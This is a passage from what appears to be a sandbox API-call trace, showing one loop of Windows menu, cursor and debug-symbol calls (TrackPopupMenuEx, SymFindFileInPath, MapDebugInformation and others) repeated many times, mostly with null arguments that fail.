GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0219.052] GetLastError () returned 0x579 [0219.052] SetLastError (dwErrCode=0x579) [0219.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.052] SymCleanup (hProcess=0x0) returned 0 [0219.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1243, param_4=387, param_5=0x0, param_6=0x0) returned 0 [0219.053] GetLastError () returned 0x579 [0219.053] SetLastError (dwErrCode=0x579) [0219.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.054] SymCleanup (hProcess=0x0) returned 0 [0219.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.054] GetLastError () returned 0x579 [0219.054] SetLastError (dwErrCode=0x579) [0219.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.054] SymCleanup (hProcess=0x0) returned 0 [0219.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.054] GetLastError () returned 0x579 [0219.054] SetLastError (dwErrCode=0x579) [0219.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.055] SymCleanup (hProcess=0x0) returned 0 [0219.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.055] GetLastError () returned 0x579 [0219.055] SetLastError (dwErrCode=0x579) [0219.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.055] SymCleanup (hProcess=0x0) returned 0 [0219.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0219.056] GetLastError () returned 0x579 [0219.056] SetLastError (dwErrCode=0x579) [0219.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.056] SymCleanup (hProcess=0x0) returned 0 [0219.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1372, param_4=197, param_5=0x0, param_6=0x0) returned 0 [0219.057] GetLastError () returned 0x579 [0219.057] SetLastError (dwErrCode=0x579) [0219.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.057] SymCleanup (hProcess=0x0) returned 0 [0219.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.057] GetLastError () returned 0x579 [0219.057] SetLastError (dwErrCode=0x579) [0219.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.057] SymCleanup (hProcess=0x0) returned 0 [0219.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.057] GetLastError () returned 0x579 [0219.057] SetLastError (dwErrCode=0x579) [0219.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.058] SymCleanup (hProcess=0x0) returned 0 [0219.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.058] GetLastError () returned 0x579 [0219.058] SetLastError (dwErrCode=0x579) [0219.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.058] SymCleanup (hProcess=0x0) returned 0 [0219.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.058] GetLastError () returned 0x579 [0219.058] SetLastError (dwErrCode=0x579) [0219.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.058] SymCleanup (hProcess=0x0) returned 0 [0219.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1155, param_4=426, param_5=0x0, param_6=0x0) returned 0 [0219.058] GetLastError () returned 0x579 [0219.058] SetLastError (dwErrCode=0x579) [0219.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.059] SymCleanup (hProcess=0x0) returned 0 [0219.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.059] GetLastError () returned 0x579 [0219.059] SetLastError (dwErrCode=0x579) [0219.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.059] SymCleanup (hProcess=0x0) returned 0 [0219.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.059] GetLastError () returned 0x579 [0219.059] SetLastError (dwErrCode=0x579) [0219.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.059] SymCleanup (hProcess=0x0) returned 0 [0219.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.059] GetLastError () returned 0x579 [0219.060] SetLastError (dwErrCode=0x579) [0219.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.060] SymCleanup (hProcess=0x0) returned 0 [0219.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.060] GetLastError () returned 0x579 [0219.060] SetLastError (dwErrCode=0x579) [0219.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.060] SymCleanup (hProcess=0x0) returned 0 [0219.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1103, param_4=555, param_5=0x0, param_6=0x0) returned 0 [0219.060] GetLastError () returned 0x579 [0219.060] SetLastError (dwErrCode=0x579) [0219.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.060] SymCleanup (hProcess=0x0) returned 0 [0219.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.060] GetLastError () returned 0x579 [0219.061] SetLastError (dwErrCode=0x579) [0219.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.061] SymCleanup (hProcess=0x0) returned 0 [0219.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.061] GetLastError () returned 0x579 [0219.062] SetLastError (dwErrCode=0x579) [0219.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.062] SymCleanup (hProcess=0x0) returned 0 [0219.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.062] GetLastError () returned 0x579 [0219.062] SetLastError (dwErrCode=0x579) [0219.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.062] SymCleanup (hProcess=0x0) returned 0 [0219.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0219.062] GetLastError () returned 0x579 [0219.062] SetLastError (dwErrCode=0x579) [0219.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.062] SymCleanup (hProcess=0x0) returned 0 [0219.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=655, param_4=637, param_5=0x0, param_6=0x0) returned 0 [0219.063] GetLastError () returned 0x579 [0219.063] SetLastError (dwErrCode=0x579) [0219.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.063] SymCleanup (hProcess=0x0) returned 0 [0219.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.063] GetLastError () returned 0x579 [0219.063] SetLastError (dwErrCode=0x579) [0219.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.063] SymCleanup (hProcess=0x0) returned 0 [0219.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0219.063] GetLastError () returned 0x579 [0219.063] SetLastError (dwErrCode=0x579) [0219.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.063] SymCleanup (hProcess=0x0) returned 0 [0219.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.064] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.064] GetLastError () returned 0x579 [0219.064] SetLastError (dwErrCode=0x579) [0219.064] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.064] SymCleanup (hProcess=0x0) returned 0 [0219.064] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.064] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.064] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.064] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.064] GetLastError () returned 0x579 [0219.064] SetLastError (dwErrCode=0x579) [0219.064] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.064] SymCleanup (hProcess=0x0) returned 0 [0219.064] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.064] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.064] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.064] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=527, param_4=738, param_5=0x0, param_6=0x0) returned 0 [0219.064] GetLastError () returned 0x579 [0219.064] SetLastError (dwErrCode=0x579) [0219.064] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.064] SymCleanup (hProcess=0x0) returned 0 [0219.064] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.064] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.065] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.065] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.065] GetLastError () returned 0x579 [0219.065] SetLastError (dwErrCode=0x579) [0219.065] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.065] SymCleanup (hProcess=0x0) returned 0 [0219.065] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.065] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.065] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.065] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0219.065] GetLastError () returned 0x579 [0219.065] SetLastError (dwErrCode=0x579) [0219.065] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.065] SymCleanup (hProcess=0x0) returned 0 [0219.065] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.065] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.065] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.065] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.065] GetLastError () returned 0x579 [0219.065] SetLastError (dwErrCode=0x579) [0219.065] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.065] SymCleanup (hProcess=0x0) returned 0 [0219.065] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.066] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.066] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.066] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.066] GetLastError () returned 0x579 [0219.066] SetLastError (dwErrCode=0x579) [0219.066] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.066] SymCleanup (hProcess=0x0) returned 0 [0219.066] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.066] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.066] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.066] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=575, param_4=650, param_5=0x0, param_6=0x0) returned 0 [0219.066] GetLastError () returned 0x579 [0219.066] SetLastError (dwErrCode=0x579) [0219.066] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.066] SymCleanup (hProcess=0x0) returned 0 [0219.066] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.066] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.066] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.066] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.066] GetLastError () returned 0x579 [0219.066] SetLastError (dwErrCode=0x579) [0219.066] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.066] SymCleanup (hProcess=0x0) returned 0 [0219.066] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.067] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.067] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.067] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.067] GetLastError () returned 0x579 [0219.067] SetLastError (dwErrCode=0x579) [0219.067] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.067] SymCleanup (hProcess=0x0) returned 0 [0219.067] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.067] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.067] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.067] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.067] GetLastError () returned 0x579 [0219.067] SetLastError (dwErrCode=0x579) [0219.067] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.067] SymCleanup (hProcess=0x0) returned 0 [0219.067] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.067] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.067] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.067] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.067] GetLastError () returned 0x579 [0219.067] SetLastError (dwErrCode=0x579) [0219.067] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, 